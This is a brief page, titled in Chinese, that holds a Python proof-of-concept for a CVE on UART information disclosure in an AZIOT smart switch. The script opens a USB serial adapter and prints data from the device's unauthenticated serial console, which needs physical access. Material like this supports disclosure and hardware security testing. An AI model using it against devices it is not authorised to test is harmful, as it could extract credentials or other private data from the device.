CVE-2026-30613 AZIOT智能开关UART信息泄露

#!/usr/bin/env python3 # PoC for CVE-2026-30613: UART Information Disclosure # This script demonstrates how to read data from an unauthenticated UART interface. # Requires physical access and a USB-to-TTL adapter. import serial import time def read_uart_data(port='/dev/ttyUSB0', baud_rate=115200): try: # Configure serial connection (Adjust baud rate as per device spec) ser = serial.Serial(port, baud_rate, timeout=1) print(f"[+] Connected to {port} at {baud_rate} baud.") print("[+] Reading data stream (Press Ctrl+C to stop)...") while True: if ser.in_waiting > 0: # Read and decode sensitive data from serial console data = ser.readline().decode('utf-8', errors='ignore').strip() if data: print(data) time.sleep(0.1) except serial.SerialException as e: print(f"[-] Serial Error: {e}") except KeyboardInterrupt: print("\n[!] Exiting...") finally: if 'ser' in locals() and ser.is_open: ser.close() if __name__ == "__main__": # Usage: python3 poc.py read_uart_data()